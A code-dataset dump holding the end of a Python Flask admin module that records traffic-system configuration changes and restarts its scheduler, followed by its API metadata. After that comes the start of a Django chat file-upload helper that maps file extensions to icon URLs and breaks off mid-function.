da_config.get_by_name(cfg.OPT_NAME_SYSCONFIG)\n if not syscfg:\n getLogger(__name__).warning('Cannot find the updated system configuration from `config` table')\n da_config.close_session()\n return\n\n should_run_actionlog_handler = False\n da_actionlog = ActionLogDataAccess()\n\n is_data_archive_start_year_extended = False\n is_data_archive_start_year_shrinked = False\n\n if cfg.DATA_ARCHIVE_START_YEAR != prev_syscfg.data_archive_start_year:\n if cfg.DATA_ARCHIVE_START_YEAR < prev_syscfg.data_archive_start_year:\n is_data_archive_start_year_extended = True\n elif cfg.DATA_ARCHIVE_START_YEAR > prev_syscfg.data_archive_start_year:\n is_data_archive_start_year_shrinked = True\n\n # cancled already posted action logs\n if is_data_archive_start_year_shrinked or is_data_archive_start_year_extended:\n ex_logs = da_actionlog.search(\n searches=[('target_datatype', ActionLogDataAccess.DT_SYSTEMCONFIG), ('handled', False)],\n op='and',\n cond='match',\n as_model=True)\n for a_log in ex_logs:\n a_log.handled = True\n a_log.handled_date = datetime.datetime.now()\n a_log.status = 'Cancled due to another action'\n a_log.status_updated_date = datetime.datetime.now()\n\n da_actionlog.commit()\n\n if is_data_archive_start_year_extended:\n should_run_actionlog_handler = True\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n 'DATA_ARCHIVE_START_YEAR_EXTENDED: %d -> %d' % (\n prev_syscfg.data_archive_start_year, cfg.DATA_ARCHIVE_START_YEAR),\n handled=False)\n\n elif is_data_archive_start_year_shrinked:\n # add log for re-calculation\n should_run_actionlog_handler = True\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n 'DATA_ARCHIVE_START_YEAR_SHRINKED: %d -> %d' % (\n prev_syscfg.data_archive_start_year, cfg.DATA_ARCHIVE_START_YEAR),\n handled=False)\n\n if (cfg.INCIDENT_DOWNSTREAM_DISTANCE_LIMIT != prev_syscfg.incident_downstream_distance_limit\n or cfg.INCIDENT_UPSTREAM_DISTANCE_LIMIT != prev_syscfg.incident_upstream_distance_limit):\n should_run_actionlog_handler = True\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n ActionLogDataAccess.DT_INCIDENT,\n handled=False)\n\n if (cfg.WZ_DOWNSTREAM_DISTANCE_LIMIT != prev_syscfg.workzone_downstream_distance_limit\n or cfg.WZ_UPSTREAM_DISTANCE_LIMIT != prev_syscfg.workzone_upstream_distance_limit):\n should_run_actionlog_handler = True\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n ActionLogDataAccess.DT_WORKZONE,\n handled=False)\n\n if (cfg.SE_ARRIVAL_WINDOW != prev_syscfg.specialevent_arrival_window\n or cfg.SE_DEPARTURE_WINDOW1 != prev_syscfg.specialevent_departure_window1\n or cfg.SE_DEPARTURE_WINDOW2 != prev_syscfg.specialevent_departure_window2):\n should_run_actionlog_handler = True\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n ActionLogDataAccess.DT_SPECIALEVENT,\n handled=False)\n\n # restart scheduler\n if (cfg.DAILY_JOB_START_TIME != prev_syscfg.daily_job_start_time\n or cfg.DAILY_JOB_OFFSET_DAYS != prev_syscfg.daily_job_offset_days\n or cfg.WEEKLY_JOB_START_WEEKDAY != prev_syscfg.weekly_job_start_day\n or cfg.WEEKLY_JOB_START_TIME != prev_syscfg.weekly_job_start_time\n or cfg.MONTHLY_JOB_START_DAY != prev_syscfg.monthly_job_start_date\n or cfg.MONTHLY_JOB_START_TIME != prev_syscfg.monthly_job_start_time):\n scheduler.restart()\n\n if cfg.DAILY_JOB_START_TIME != prev_syscfg.daily_job_start_time:\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n 'DAILY_JOB_START_TIME is updated : %s -> %s' % (\n prev_syscfg.daily_job_start_time, cfg.DAILY_JOB_START_TIME),\n handled=True)\n\n if cfg.DAILY_JOB_OFFSET_DAYS != prev_syscfg.daily_job_offset_days:\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n 'DAILY_JOB_OFFSET_DAYS is updated: %s -> %s' % (\n prev_syscfg.daily_job_offset_days, cfg.DAILY_JOB_OFFSET_DAYS),\n handled=True)\n\n if cfg.WEEKLY_JOB_START_WEEKDAY != prev_syscfg.weekly_job_start_day:\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n 'WEEKLY_JOB_START_WEEKDAY is updated: %s -> %s' % (\n prev_syscfg.weekly_job_start_day, cfg.WEEKLY_JOB_START_WEEKDAY),\n handled=True)\n\n if cfg.WEEKLY_JOB_START_TIME != prev_syscfg.weekly_job_start_time:\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n 'WEEKLY_JOB_START_TIME is updated: %s -> %s' % (\n prev_syscfg.weekly_job_start_time, cfg.WEEKLY_JOB_START_TIME),\n handled=True)\n\n if cfg.MONTHLY_JOB_START_DAY != prev_syscfg.monthly_job_start_date:\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n 'MONTHLY_JOB_START_DAY is updated: %s -> %s' % (\n prev_syscfg.monthly_job_start_date, cfg.MONTHLY_JOB_START_DAY),\n handled=True)\n\n if cfg.MONTHLY_JOB_START_TIME != prev_syscfg.monthly_job_start_time:\n actionlog.add(ActionLogDataAccess.UPDATE,\n ActionLogDataAccess.DT_SYSTEMCONFIG,\n Config.__tablename__,\n syscfg.id,\n 'MONTHLY_JOB_START_TIME is updated: %s -> %s' % (\n prev_syscfg.monthly_job_start_time, cfg.MONTHLY_JOB_START_TIME),\n handled=True)\n\n if not should_run_actionlog_handler:\n unhandled = da_actionlog.list(target_datatypes=[ActionLogDataAccess.DT_SYSTEMCONFIG], handled=False)\n if unhandled:\n should_run_actionlog_handler = True\n\n da_actionlog.close_session()\n da_config.close_session()\n\n # add actionlog handler to the task queue in the worker process\n if should_run_actionlog_handler:\n getLogger(__name__).debug('System configurations are updated and the handler process is posted')\n worker.add_task(actionlog_proc.run)\n else:\n getLogger(__name__).debug('System configurations are updated and the handler process is NOT posted')\n", "sub_path": "Server/src/pyticas_tetres/api/admin/systemconfig.py", "file_name": "systemconfig.py", "file_ext": "py", "file_size_in_byte": 10178, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pyticas_tetres.util.systemconfig.get_system_config_info", "line_number": 33, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.systemconfig", "line_number": 33, "usage_type": "name"}, {"api_name": "pyticas_server.protocol.response_success", "line_number": 34, "usage_type": "call"}, {"api_name": "pyticas_server.protocol", "line_number": 34, "usage_type": "name"}, {"api_name": "pyticas_tetres.api_urls_admin.SYSCFG_GET", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.api_urls_admin", "line_number": 30, "usage_type": "name"}, {"api_name": "pyticas_tetres.admin_auth.requires_auth", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "pyticas_server.protocol.response_invalid_request", "line_number": 41, "usage_type": "call"}, {"api_name": "pyticas_server.protocol", "line_number": 41, "usage_type": "name"}, {"api_name": "pyticas.tool.json.loads", "line_number": 43, "usage_type": "call"}, {"api_name": "pyticas_tetres.ttypes.SystemConfigInfo", "line_number": 43, "usage_type": "argument"}, {"api_name": "pyticas.tool.json", "line_number": 43, "usage_type": "name"}, {"api_name": "pyticas_tetres.ttypes.SystemConfigInfo", "line_number": 45, "usage_type": "argument"}, {"api_name": "pyticas_server.protocol.response_invalid_request", "line_number": 46, "usage_type": "call"}, {"api_name": "pyticas_server.protocol", "line_number": 46, "usage_type": "name"}, {"api_name": "pyticas_server.protocol.response_invalid_request", "line_number": 52, "usage_type": "call"}, {"api_name": "pyticas_server.protocol", "line_number": 52, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.systemconfig.set_system_config_info", "line_number": 54, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.systemconfig", "line_number": 54, "usage_type": "name"}, {"api_name": "pyticas_server.protocol.response_fail", "line_number": 56, "usage_type": "call"}, {"api_name": "pyticas_server.protocol", "line_number": 56, "usage_type": "name"}, {"api_name": "pyticas_server.protocol.response_success", "line_number": 60, "usage_type": "call"}, {"api_name": "pyticas_server.protocol", "line_number": 60, "usage_type": "name"}, {"api_name": "pyticas_tetres.api_urls_admin.SYSCFG_UPDATE", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.api_urls_admin", "line_number": 36, "usage_type": "name"}, {"api_name": "pyticas_tetres.admin_auth.requires_auth", "line_number": 37, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.config.ConfigDataAccess", "line_number": 68, "usage_type": "call"}, {"api_name": "pyticas_tetres.cfg.OPT_NAME_SYSCONFIG", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 69, "usage_type": "name"}, {"api_name": "pyticas_tetres.logger.getLogger", "line_number": 71, "usage_type": "call"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 76, "usage_type": "call"}, {"api_name": "pyticas_tetres.cfg.DATA_ARCHIVE_START_YEAR", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 81, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.DATA_ARCHIVE_START_YEAR", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 82, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.DATA_ARCHIVE_START_YEAR", "line_number": 84, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 84, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 90, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 90, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 96, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 96, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 98, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 104, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 104, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 104, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 105, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 105, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 106, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.DATA_ARCHIVE_START_YEAR", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 109, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 115, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 115, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 115, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 115, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 116, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 117, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 117, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.DATA_ARCHIVE_START_YEAR", "line_number": 120, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 120, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.INCIDENT_DOWNSTREAM_DISTANCE_LIMIT", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 123, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.INCIDENT_UPSTREAM_DISTANCE_LIMIT", "line_number": 124, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 124, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 126, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 126, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 126, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 126, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 127, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 127, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 128, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 128, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_INCIDENT", "line_number": 130, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 130, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.WZ_DOWNSTREAM_DISTANCE_LIMIT", "line_number": 133, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 133, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.WZ_UPSTREAM_DISTANCE_LIMIT", "line_number": 134, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 134, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 136, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 136, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 136, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 136, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 137, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 137, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 138, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 138, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_WORKZONE", "line_number": 140, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 140, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.SE_ARRIVAL_WINDOW", "line_number": 143, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 143, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.SE_DEPARTURE_WINDOW1", "line_number": 144, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 144, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.SE_DEPARTURE_WINDOW2", "line_number": 145, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 145, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 147, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 147, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 147, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 147, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 148, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 148, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 149, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 149, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SPECIALEVENT", "line_number": 151, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 151, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.DAILY_JOB_START_TIME", "line_number": 155, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 155, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.DAILY_JOB_OFFSET_DAYS", "line_number": 156, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 156, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.WEEKLY_JOB_START_WEEKDAY", "line_number": 157, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 157, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.WEEKLY_JOB_START_TIME", "line_number": 158, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 158, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.MONTHLY_JOB_START_DAY", "line_number": 159, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 159, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.MONTHLY_JOB_START_TIME", "line_number": 160, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 160, "usage_type": "name"}, {"api_name": "pyticas_tetres.sched.scheduler.restart", "line_number": 161, "usage_type": "call"}, {"api_name": "pyticas_tetres.sched.scheduler", "line_number": 161, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.DAILY_JOB_START_TIME", "line_number": 163, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 163, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 164, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 164, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 164, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 164, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 165, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 165, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 166, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 166, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.DAILY_JOB_START_TIME", "line_number": 169, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 169, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.DAILY_JOB_OFFSET_DAYS", "line_number": 172, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 172, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 173, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 173, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 173, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 173, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 174, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 174, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 175, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 175, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.DAILY_JOB_OFFSET_DAYS", "line_number": 178, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 178, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.WEEKLY_JOB_START_WEEKDAY", "line_number": 181, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 181, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 182, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 182, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 182, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 182, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 183, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 183, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 184, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 184, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.WEEKLY_JOB_START_WEEKDAY", "line_number": 187, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 187, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.WEEKLY_JOB_START_TIME", "line_number": 190, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 190, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 191, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 191, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 191, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 191, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 192, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 192, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 193, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 193, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.WEEKLY_JOB_START_TIME", "line_number": 196, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 196, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.MONTHLY_JOB_START_DAY", "line_number": 199, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 199, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 200, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 200, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 200, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 200, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 201, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 201, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 202, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 202, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.MONTHLY_JOB_START_DAY", "line_number": 205, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 205, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.MONTHLY_JOB_START_TIME", "line_number": 208, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 208, "usage_type": "name"}, {"api_name": "pyticas_tetres.util.actionlog.add", "line_number": 209, "usage_type": "call"}, {"api_name": "pyticas_tetres.util.actionlog", "line_number": 209, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.UPDATE", "line_number": 209, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 209, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 210, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 210, "usage_type": "name"}, {"api_name": "pyticas_tetres.db.tetres.model.Config.__tablename__", "line_number": 211, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.db.tetres.model.Config", "line_number": 211, "usage_type": "name"}, {"api_name": "pyticas_tetres.cfg.MONTHLY_JOB_START_TIME", "line_number": 214, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.cfg", "line_number": 214, "usage_type": "name"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess.DT_SYSTEMCONFIG", "line_number": 218, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.da.actionlog.ActionLogDataAccess", "line_number": 218, "usage_type": "name"}, {"api_name": "pyticas_tetres.logger.getLogger", "line_number": 227, "usage_type": "call"}, {"api_name": "pyticas_tetres.sched.worker.add_task", "line_number": 228, "usage_type": "call"}, {"api_name": "pyticas_tetres.sched.worker", "line_number": 228, "usage_type": "name"}, {"api_name": "pyticas_tetres.systasks.actionlog_processor.run", "line_number": 228, "usage_type": "attribute"}, {"api_name": "pyticas_tetres.systasks.actionlog_processor", "line_number": 228, "usage_type": "name"}, {"api_name": "pyticas_tetres.logger.getLogger", "line_number": 230, "usage_type": "call"}]} {"seq_id": "329166821", "text": "#!/usr/bin/env python\nimport website.bigfoot.models as models\nfrom website.bigfoot.utils import config, siteaction, livewire_client, dataplus, statix\nfrom django.http import HttpResponse, HttpResponseRedirect\nimport datetime, os, sys, Image #PIL from Pythonware, thx guys\n\nmax_per_file_size = 7340032 #7 MB\n\narchive_types = ['zip', 'tgz', 'tar', 'gz', 'z']\nhtml_types = ['html', 'htm', 'xhtml']\nstatic_image_types = ['tiff', 'tif', 'psd']\nimage_types = ['gif', 'jpg', 'jpeg', 'bmp', 'png']\nmusic_types = ['mp3', 'mid', 'wav', 'wma', 'ram']\nopenoffice_types = ['odt', 'odp', 'ods']\nvideo_types = ['mpg', 'wmv', 'avi', 'mpeg', 'mov', 'rv', 'swf']\n\narchive_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/archive-icon.gif')\nfile_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/file-icon.gif')\nhtml_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/html-icon.gif')\nimage_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/image-icon.gif')\nmusic_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/music-icon.gif')\nopenoffice_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/oo-icon.gif')\npdf_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/pdf-icon.gif')\npowerpoint_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/ppt-icon.gif')\nvideo_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/video-icon.gif')\nword_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/word-icon.gif')\nexcel_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/xl-icon.gif')\ntext_icon_url = dataplus.getStaticUrl('/apps/socialray/website/bigfoot/ui/site/images/chat/text-icon.gif')\n\ndef getFileTypeNThumbnail(ext):\n if ext in archive_types:\n return 'archive', archive_icon_url\n if ext in html_types:\n return 'html', html_icon_url\n if ext in static_image_types:\n return 'static_image', image_icon_url\n if ext in image_types:\n return 'image', image_icon_url\n if ext in music_types:\n return 'music', music_icon_url\n if ext in 